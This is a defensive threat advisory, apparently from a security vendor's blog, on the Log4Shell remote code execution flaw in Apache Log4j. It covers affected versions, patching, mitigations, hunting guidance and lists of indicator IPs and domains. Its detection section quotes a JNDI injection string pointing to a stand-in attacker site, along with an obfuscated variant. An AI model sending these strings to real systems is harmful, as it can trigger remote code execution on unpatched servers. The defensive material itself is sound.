Threat Advisory: Apache Log4j RCE – Version 13/12/2021

Mar 28, 2022
Written by admin

Scope of the vulnerability

A significant number of Java-based applications use log4j as their logging utility. Apache Log4j version 2 <=2.14.1 JNDI features used in configurations, log messages, and parameters do not protect against attacker-controlled LDAP and other JNDI-related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default.

Versions Affected

All log4j-core versions >=2.0-beta9 and <=2.14.1

CVE Description Affected Versions

CVE-2021-44228 Apache Log4j RCE

Not Affected

Java 8u121 (see https://www.oracle.com/java/technologies/javase/8u121-relnotes.html ) protects against RCE by defaulting com.sun.jndi.rmi.object.trustURLCodebase and com.sun.jndi.cosnaming.object.trustURLCodebase to false.

Remediation

Upgrade to the latest version: Apache Releases Log4j Version 2.15.0. We recommend urgent patching using emergency patching procedures.

Mitigation

releases >=2.10

Set the system property log4j2.formatMsgNoLookups or the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true.

releases >=2.7 to <=2.14.1

All PatternLayout patterns can be modified to specify the message converter as %m{nolookups} instead of just %m.

releases >=2.0-beta9 and <=2.10.0

Remove the JndiLookup class from the classpath:
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.

Detection

The bulk of attacks is related to mass scanning by attackers attempting to thumbprint vulnerable systems, as well as scanning by security companies and researchers. An example pattern:

${jndi:ldap://[attacker site]/a}

Successful Log4Shell exploitation can be detected through reverse proxy logs.

Monitor incoming web requests against user_agents containing one of the following strings ‘ (“jndi” , “${::-”) ‘ with resulting status code 200, 301, or 302 as a quick detection rule. Regex can be utilized as well to take obfuscation into account, as seen for the following user agents:

${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://

Aside from this, WAF rules / Snort rules / Suricata rules based on the following source may also detect and prevent incoming Log4Shell attempts:

https://research.nccgroup.com/2021/12/12/log4shell-reconnaissance-and-post-exploitation-network-detection/

Furthermore, many security vendors have already created detection rules in order to detect and prevent Log4Shell exploitation. Contact your security vendors to receive a list of signatures already in place to detect related activity.

Hunting

We advise expanding the detection rule as stated above to also hunt for JNDI strings in the http_referrer, request, or XFF values to detect Log4Shell attempts.

Network logs and forward proxy logs also come in handy to hunt for post-exploitation activity.
As mentioned by NCC Group, hunt for the following:

outbound network connections of LDAP, LDAPS, RMI, etc.

incoming Java requests

outbound WGET & CURL requests to known IOC’s

outbound connection to probing services

A list of probing services we have identified throughout our customers up until now:

    1.  interactsh[.]com
    2. interact[.]sh
    3. requestbin[.]net

A list of known IOC’s we have identified throughout our customers up until now:

    1. 62[.]210[.]130[.]250
    2. 45[.]155[.]205[.]233
    3. 193[.]191[.]216[.]16
    4. 134[.]238[.]140[.]74
    5. 134[.]238[.]143[.]5
    6. 134[.]238[.]50[.]4
    7. 134[.]238[.]50[.]42
    8. 208[.]127[.]124[.]150
    9. 208[.]127[.]140[.]40
    10. 193[.]191[.]208[.]131
    11. 193[.]191[.]208[.]132
    12. 185[.]119[.]156[.]42
    13. 185[.]119[.]156[.]41
    14. 185[.]134[.]25[.]38
    15. ryedge[.]io
    16. automationyesterday[.]com
    17. leakix[.]net
    18. interactsh[.]com
    19. interact[.]sh
    20. kryptoslogic-cve-2021-44228[.]com

YARA rules to hunt for Log4Shell can be found at:

https://www.tutorialjinni.com/log4shell-yara-ioc.html

Velociraptor artifacts to hunt for Log4Shell are also made public:

https://docs.velociraptor.app/exchange/artifacts/pages/log4jrce/

Vulnerability Identification

Our Rapid7 InsightVM customers can now detect the vulnerability via authenticated, agent-based, container, and unauthenticated scans. Rapid7 has released a vulnerability check with identifier `apache-log4j-core-cve-2021-44228` and `apache-log4j-core-cve-2021-44228-remote`via a content update on December 12, 2021. This is an authenticated check, which uses the `find` command on Unix-like systems to identify vulnerable versions of the Log4j JAR files.

Please note that this new check will require the Security Console and Scan Engine to be updated to version 6.6.118, also released on December 12, and will not be functional with the content-only release. This will require Consoles and Engines to be restarted.

This unauthenticated check runs during network scans and will attempt to trigger a connection back to the Scan Engine in order to determine vulnerable status. It is platform-independent, targeting Windows, Linux, and other operating systems.

The InsightVM product itself uses a log4j library, but not the vulnerable library of Apache.

Threat Advisory Updates

This blog post will be continuously updated in case new findings are published.

Reach out to info@davinsi.com if you need any assistance from our team of security experts.

We hope the following threat advisory assists to react quickly to ongoing threats and urges the need for patching and security monitoring.

References

Share this news